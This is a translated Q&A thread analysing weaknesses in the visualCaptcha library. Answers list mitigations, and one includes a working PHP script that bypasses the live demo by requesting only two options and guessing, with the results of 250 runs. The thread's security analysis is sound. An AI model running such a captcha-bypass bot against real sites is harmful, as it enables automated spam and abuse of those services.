视觉验证码有多强大?

信息安全 Web应用程序 验证码
2021-08-19 20:42:14

我喜欢visualCaptcha的用户交互,但我质疑它提供的保护量:

截屏

由于只有 5 张图像(默认情况下),获得正确图像不只是 5 分之一的问题吗?

此外,整个过程是通过发送start/X请求来启动的,其中 X 是要生成的选项数。据我所知,机器人可能会以 X = 2 而不是 5 启动并获得 50% 的正确尝试。

4个回答

现场演示中有两个相当大的弱点,使其难以破解:

  1. 验证码问题只有 5 个可能的答案,因此机器人有 20% 的机会通过选择随机符号来解决验证码。在连续选择错误答案超过 20 次后,该演示并没有禁止我,所以没有理由让机器人不能一直猜测,直到它偶然得到正确答案。
  2. 只有非常有限的一组图像没有任何改变。它们出现在不同的 URL 下,但看起来总是一样的,因此机器人可以通过加载和解码图像来识别它们。此外,系统每次都使用相同的词来引用每个图像。这将允许简单地告诉机器人哪个词意味着哪个图像。

使验证码更强大的一些想法:

  • 要求用户标记多个对象,并且仅在标记这些对象且仅标记这些对象时才让它们通过。这将使随机猜测的效率大大降低。
  • 在连续多次错误答案后将 IP 地址封禁几分钟
  • 使用更大的图像集
  • 使用更大的字符串字典来引用它们
  • 使用带有随机参数的图像更改算法来稍微疏远图像,以便自动识别它们变得更加困难

请记住,没有任何验证码是真正牢不可破的。您所能期望的只是增加攻击者需要投入的努力来破坏它。但这可能就是您所需要的。验证码是为数不多的通过默默无闻的安全可以得到回报的领域之一。垃圾邮件发送者寻找低垂的果实。当您使用不起眼的自制验证码解决方案并且不是特别有价值的目标时,许多垃圾邮件发送者会懒得弄明白。当你一个特别有价值的目标时,他们只会雇佣一群来自第三世界国家的人来解决你的验证码。如果不使您的网站对普通用户无法使用,您就无法防御这种情况。

为了尝试一下,我编写了一个小机器人,试图发布视觉验证码演示

如果首先启动验证码会话,则只需要使用 2 个选项http://demo.visualcaptcha.net/start/2比它选择两个可能的结果之一并发布到http://demo.visualcaptcha.net/try.

结果:

✓☓☓✓✓✓☓☓☓☓☓☓☓✓✓☓☓☓☓☓✓☓✓✓☓✓✓☓✓✓☓✓✓✓✓✓☓✓☓✓✓✓☓✓☓✓☓✓✓✓
☓✓✓☓✓☓✓✓☓☓✓☓✓✓☓☓✓☓✓✓✓☓✓☓☓✓✓☓✓☓✓☓☓☓☓☓✓✓☓☓✓☓☓✓☓✓☓☓☓✓
✓☓☓✓✓✓☓✓☓☓✓☓☓✓☓☓☓☓☓☓✓✓✓☓✓☓✓☓☓☓✓✓☓✓☓☓✓✓☓☓☓✓✓☓✓☓☓✓✓✓
☓✓☓✓✓☓☓✓✓☓☓☓✓☓☓✓☓✓☓✓✓☓☓☓✓✓☓✓☓✓✓✓✓✓✓✓✓✓☓☓✓☓☓☓✓✓☓✓✓☓
☓✓☓☓✓✓✓✓☓✓✓✓☓✓✓☓☓✓☓✓✓✓✓☓☓✓✓✓☓☓✓☓✓☓✓✓✓☓✓✓☓☓✓☓✓☓☓☓☓☓
Of the 250 tries, I succeeded 127 times and failed 123 times.

VisualCaptcha显然非常不安全。

使用固定数量的图像(例如 5 个),而不是让客户端选择图像的数量,将有助于将成功尝试减少到​​ 5 分之一。尽管我认为这对于大多数用例来说是不够的。


<?php

/**
 * Try posting to the visualCaptcha demo
 * @return boolean  true if posted successfully
 */
function tryVisualCaptcha()
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_COOKIEJAR, "/tmp/visualcaptcha-cookies.txt");
    curl_setopt($curl, CURLOPT_COOKIEFILE, "/tmp/visualcaptcha-cookies.txt");

    curl_setopt($curl, CURLOPT_URL, "http://demo.visualcaptcha.net/start/2");
    $ret = curl_exec($curl);
    $result = json_decode($ret);

    $post = [$result->imageFieldName => $result->values[0]];

    curl_setopt($curl, CURLOPT_URL, "http://demo.visualcaptcha.net/try");
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
    curl_exec($curl);

    $info = curl_getinfo($curl);
    return strpos($info['redirect_url'], 'validImage') !== false;
}

// Main
$results = [0 => 0, 1 => 0];

for ($i = 1; $i <= 250; $i++) {
    $success = tryVisualCaptcha();
    $results[(int)$success]++;

    echo $success ? "✓" : "☓", $i % 50 === 0 ? "\n" : "";
}

echo "Of the ", array_sum($results), " tries, I succeeded ", $results[1],
  " times and failed ", $results[0], " times.\n";

所需要做的就是将验证码拆分为单独的图像,并对每个图像和目标词执行谷歌图像搜索。并且只需选择具有最多结果的那个。从那时起,我相当确定一个可以获得非常高的准确性。

您可以搜索

"Type below the answer to what you hear" OBJECT

其中 OBJECT 是图片的单词。

示例:汽车旗帜

VisualCaptcha 是一个出色的 UX 解决方案,但可以以 100% 的成功率破解。

作为概念验证,这篇博文中有一个小脚本可以打破 100% VisualCaptcha

有几种技术可以提高 VisualCaptcha 的安全性。这些技术不会集成到 VC 的“核心”中,但开发人员可以在需要时决定实施它们,正如Bruno Bernardino 所讨论的那样